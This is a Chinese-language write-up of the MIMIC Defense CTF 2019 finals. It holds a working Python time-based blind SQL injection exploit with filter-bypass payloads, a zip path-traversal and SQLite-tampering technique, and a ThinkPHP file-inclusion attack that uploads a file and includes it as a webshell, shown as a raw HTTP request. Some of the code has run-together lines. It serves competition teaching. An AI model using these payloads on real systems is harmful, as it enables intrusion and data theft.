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MIMIC Defense CTF 2019 final writeup

Seebug漏洞平台 · 公众号 · · 2019-05-29 17:26

正文

作者：LoRexxar'@知道创宇404实验室

上周有幸去南京参加了强网杯拟态挑战赛，运气比较好拿了第二名，只是可惜是最后8分钟被爆了，差一点儿真是有点儿可惜。

有关于拟态的观念我会在后面讲防火墙黑盒攻击的 writeup 时再详细写，抛开拟态不谈，赛宁这次引入的比赛模式我觉得还蛮有趣的，白盒排位赛的排名决定你是不是能挑战白盒拟态，这样的多线并行挑战考验的除了你的实际水平，也给比赛本身平添了一些有趣的色彩（虽然我们是被这个设定坑了），虽然我还没想到这种模式如何应用在普通的 ctf 赛场上，但起码也是一个有趣的思路不是吗。

1. Web 白盒

1.1 sqlcms

这题其实相对比赛中的其他题目来说，就显得有些太简单了，当时如果不是因为我们是第一轮挑战白盒的队伍，浪费了 30 分钟时间，否则抢个前三血应该是没啥问题。

简单测试就发现，过滤了以下符号

,and &| orforsub%^~

此外还有一些字符串的过滤

hex、substring、union select

还有一些躺枪的(因为有or)

information_schema

总结起来就是，未知表名、不能使用逗号、不能截断的时间盲注。其实实际技巧没什么新意，已经是玩剩下的东西了，具体直接看 exp 吧。

# coding=utf-8
import requestsimport randomimport hashlibimport time
s = requests.Session()url='http://10.66.20.180:3002/article.php'tables_count_num = 0strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@!#$%*().<>1234567890{}"

def get_content(url):
    for i in xrange(50):            # payload = "1 and ((SELECT length(user) from admin limit 1)="+str(i)+") and (sleep(2))"            # payload = "(select case when ((SELECT length(t.2) from (select 1,2,3,4 union select * from flag) limit "+str(j)+") >"+str(i)+") then 0 else sleep(2) end)"            payload = "(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) ="+str(i)+") then sleep(2) else 0 end)"

            if get_data(payload):                print "[*] content_length: "+str(i)




    
                content_length = i                break
    content = ""
    tmp_content = ""    

    for i in range(1,content_length+1):        for k in strings:            tmp_content = content+str(k)            tmp_content = tmp_content.ljust(content_length,'_')
            # payload = "1 and (SELECT ascii(mid(((SELECT user from admin limit 1))from("+str(i)+")))="+str(k+1)+") and (sleep(2))"            payload = "(select case when ((SELECT t.4 from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) like '"+tmp_content+"') then sleep(2) else 0 end)"

            # print payload            if get_data(payload):                content += k                print "[*] content: "+content                break
    print "[*] content: " + content

def get_response(payload):
    s = requests.Session()    username = "teststeststests1234\\"
    s.post()
def get_data(payload):
    u = url+'?id='+payload    print u    otime = time.time()    # print u.replace(' ','%20')
    r = s.get(u)    rr = r.text    ptime = time.time()
    if ptime-otime >2:        return True    else:        return False

get_content(url)

1.2 ezweb

这题觉得非常有意思，我喜欢这个出题思路，下面我们来一起整理下整个题目的思路。

首先是打开页面就是简单粗暴的登录，用户名只把 . 换成了 _ ，然后就直接存入了 session 中。

当我们在用户名中插入 / 的时候，我们就会发现爆了无法打开文件的错误， / 被识别为路径分割，然后 sqlite 又没有太高的权限去创建文件夹，所以就报错了，于是我们就得到了。

如果用户名被直接拼接到了数据库名字中，将 . 转化为 _ ，

./dbs/mimic_{username}.db

直接访问相应的路径，就可以下载到自己的 db 文件，直接本地打开就可以看到其中的数据。

数据库里很明显由 filename 做主键，后面的数据是序列化之后的字符串，主要有两个点，一个是 file_type ，这代表文件上传之后，服务端会检查文件的类型，然后做相应的操作，其次还会保存相应的文件路径。

抛开这边的数据库以后，我们再从黑盒这边继续分析。

当你上传文件的时候，文件名是 md5(全文件名)+最后一个 . 后的后缀拼接。

对于后缀的检查，如果点后为 ph 跟任何字符都会转为 mimic 。

多传几次可以发现，后端的 file_type 是由前端上传时设置的 content-type 决定的，但后端类型只有4种，其中 text 会直接展现文件内容， image 会把文件路径传入 img 标签展示出来，zip 会展示压缩包里的内容，other 只会展示文件信息。

 switch ($type){        case 'text/php':        case 'text/x-php':            $this->status = 'failed';break;        case 'text/plain':            $this->info = @serialize($info);break;        case 'image/png':        case 'image/gif':        case 'image/jpeg':            $info['file_type'] = 'image';            $this->info = @serialize($info);break;        case 'application/zip':            $info['file_type'] = 'zip';            $info['file_list'] = $this->handle_ziparchive();            $this->info = @serialize($info);            $this->flag = false;break;        default:            $info['file_type'] = 'other';            $this->info = @serialize($info);break;            break;    }

其中最特别的就是 zip ，简单测试可以发现，不但会展示 zip 的内容，还会在 uploads/{md5(filename)} 中解压 zip 中的内容。

测试发现，服务端限制了软连接，但是却允许跨目录，我们可以在压缩包中加入 ../../a ，这个文件就会被解压到根目录，但可惜文件后缀仍然收到之前对 ph 的过滤，我们没办法写入任何 php 文件。

private function handle_ziparchive() {    try{        $file_list = array();        $zip = new PclZip($this->file);        $save_dir = './uploads/' . substr($this->filename, 0, strlen($this->filename) - 4);        @mkdir($save_dir, 755);        $res = $zip->extract(PCLZIP_OPT_PATH, $save_dir, PCLZIP_OPT_EXTRACT_DIR_RESTRICTION, '/var/www/html' , PCLZIP_OPT_BY_PREG,'/^(?!(.*)\.ph(.*)).*$/is');        foreach ($res as $k => $v) {




    
            $file_list[$k] = array(                'name' => $v['stored_filename'],                'size' => $this->get_size($v['size'])            );        }        return $file_list;    }    catch (Exception $ex) {        print_r($ex);        $this->status = 'failed';    }}

按照常规思路来说，我们一般会选择上传 .htaccess 和 .user.ini ，但很神奇的是， .htaccess 因为 apache 有设置无法访问，不知道是不是写进去了。 .user.ini 成功写入了。但是两种方式都没生效。

于是只能思考别的利用方式，这时候我们会想到数据被储存在sqlite中。

如果我们可以把 sqlite 文件中数据修改，然后将文件上传到服务端，我们不就能实现任意文件读取吗。

这里我直接读了 flag ，正常操作应该是要先读代码，然后反序列化 getshell


public function __destruct() {    if($this->flag){        file_put_contents('./uploads/' . $this->filename , file_get_contents($this->file));    }    $this->conn->insert($this->filename, $this->info);    echo json_encode(array('status' => $this->status));}

最后拿到 flag

2. 拟态防火墙

两次参加拟态比赛，再加上简单了解过拟态的原理，我大概可以还原目前拟态防御的原理，也逐渐佐证拟态防御的缺陷。

下面是我在攻击拟态防火墙时，探测到的后端结构，大概是这样的（不保证完全准确）：

其中 Web 服务的执行体中，有 3 种服务端，分别为 nginx、apache 和 lighttpd 这3 种。

Web 的执行体非常简陋，其形态更像是负载均衡的感觉，不知道是不是裁决机中规则没设置还是 Web 的裁决本身就有问题。

而防火墙的执行体就更诡异了，据现场反馈说，防火墙的执行体是开了2个，因为反馈不一致，所以返回到裁决机的时候会导致互判错误...这种反馈尤其让我疑惑，这里的问题我在下面实际的漏洞中继续解释。

配合防火墙的漏洞，我们下面逐渐佐证和分析拟态的缺点。

我首先把攻击的过程分为两个部分，1是拿到 Web 服务执行体的 webshell，2是触发修改访问控制权限(比赛中攻击得分的要求)。

3. GetShell

首先我不得不说真的是运气站在了我这头，第一界强网杯拟态挑战赛举办的时候我也参加了比赛，当时的比赛规则没这么复杂，其中有两道拟态 Web 题目，其中一道没被攻破的就是今年的原题，拟态防火墙，使用的也是天融信的 Web 管理界面。

一年前虽然没日下来，但是幸运的是，一年前和一年后的攻击得分目标不一致，再加上去年赛后我本身也研究过，导致今年看到这个题的时候，开局我就走在了前面。具体可以看下面这篇 wp 。

https://mp.weixin.qq.com/s/cfEqcb8YX8EuidFlqgSHqg

由于去年我研究的时候已经是赛后了，所以我并没有实际测试过，时至今日，我也不能肯定今年和去年是不是同一份代码。不过这不影响我们可以简单了解架构。

https://github.com/YSheldon/ThinkPHP3.0.2_NGTP

然后仔细阅读代码，代码结构为 Thinkphp3.2 架构，其中部分代码和远端不一致，所以只能尝试攻击。

在3.2中，Thinkphp 有一些危险函数操作，比如 display，display 可以直接将文件include 进来，如果函数参数可控，我们又能上传文件，那么我们就可以 getshell。

全局审计代码之后我们发现在 /application/home/Controller/CommonControler.class.php

如果我们能让 type 返回为 html ，就可以控制 display 函数。

搜索 type 可得 $this->getAcceptType();

 $type = array(            'json'  =>  'application/json,text/x-json,application/jsonrequest,text/json',            'xml'   =>  'application/xml,text/xml,application/x-xml',            'html'  =>  'text/html,application/xhtml+xml,*/*',            'js'    =>  'text/javascript,application/javascript,application/x-javascript',            'css'   =>  'text/css',            'rss'   =>  'application/rss+xml',            'yaml'  =>  'application/x-yaml,text/yaml',            'atom'  =>  'application/atom+xml',            'pdf'   =>  'application/pdf',            'text'  =>  'text/plain',            'png'   =>  'image/png',            'jpg'   =>  'image/jpg,image/jpeg,image/pjpeg',            'gif'   =>  'image/gif',            'csv'   =>  'text/csv'        );

只要将请求头中的 accept 设置好就可以了。

然后我们需要找一个文件上传，在 UserController.class.php moduleImport函数里

    } else {           $config['param']['filename']=$_FILES["file"]["name"];            $newfilename="./tmp/".$_FILES["file"]["name"];            if($_POST['hid_import_file_type']) $config['param']['file-format'] = formatpost($_POST['hid_import_file_type']);            if($_POST['hid_import_loc']!='') $config['param']['group'] = formatpost($_POST['hid_import_loc']);            if($_POST['hid_import_more_user']) $config['param']['type'] = formatpost($_POST['hid_import_more_user']);            if($_POST['hid_import_login_addr']!='')$config['param']['address-name'] = formatpost($_POST['hid_import_login_addr']);            if($_POST['hid_import_login_time']!='') $config['param']['timer-name'] = formatpost($_POST['hid_import_login_time']);            if($_POST['hid_import_login_area']!='') $config['param']['area-name'] = formatpost($_POST['hid_import_login_area']);            if($_POST['hid_import_cognominal']) $config['param']['cognominal'] = formatpost($_POST['hid_import_cognominal']);            //判断当前文件存储路径中是否含有非法字符




    
            if(preg_match('/\.\./',$newfilename)){                exit('上传文件中不能存在".."等字符');            }            var_dump($newfilename);            if(move_uploaded_file($_FILES["file"]["tmp_name"],$newfilename)) {                echo sendRequestSingle($config);            } else                $this->display('Default/auth_user_manage');        }     }

这里的上传只能传到 /tmp 目录下，而且不可以跨目录，所以我们直接传文件上去。

紧接着然后使用之前的文件包含直接包含该文件

GET /?c=Auth/User&a=index&assign=0&w=../../../../../../../../tmp/index1&ddog=var_dump(scandir('/usr/local/apache2/htdocs')); HTTP/1.1Host: 172.29.118.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=spk6s3apvh5c54tj9ch052fp53; think_language=zh-CNUpgrade-Insecure-Requests: 1

上传文件的时候要注意 seesion 和 token ，token 可以从首页登陆页面获得。

至此我们成功获得了 webshell 。这里拿到 webshell 之后就会进入一段神奇的发现。

首先，服务端除了 /usr 以外没有任何的目录，其中 /usr/ 中除了3个服务端，也没有任何多余的东西。换言之就是没有 /bin ，也就是说并没有一个linux的基本环境，这里我把他理解为执行体，在他的外层还有别的代码来联通别的执行体。

由于没有 /bin ，导致服务端不能执行system函数，这大大影响了我的攻击效率，这可能也是我被反超的一个原因...

继续使用php eval shell，我们发现后端3个执行体分别为nginx\apache\lighthttpd，实际上来说都是在同一个文件夹下

/usr/local/apache2/htdocs/usr/local/nginx/htdocs/usr/local/lighttpd/htdocs

由于 Web 的服务器可以随便攻击，有趣的是，在未知情况下，服务端会被重置，但神奇的是，一次一般只会重置3个服务端的一部分，这里也没有拟态裁决的判定，只要单纯的刷新就可以进入不同的后端，其感觉就好像是负载均衡一样。

这样我不禁怀疑起服务端的完成方式，大概像裁决机是被设定拼接在某个部分之前的，其裁决的内容也有所设定，到这里我们暂时把服务端架构更换。

4. 阅读服务端代码

在拿到 shell 之后，主办方强调 Web 服务和题目无关，需要修改后端的访问控制权限，由于本地的代码和远程差异太大，所以首先要拿到远端的代码。

从 /conf/menu.php 中可以获得相应功能的路由表。

...'policy' => array(    'text' => L('SECURE_POLICY'),    'childs' => array(        //访问控制        'firewall' => array(            'text' => L('ACCESS_CONTROL'),            'url' => '?c=Policy/Interview&a=control_show',            'img' => '28',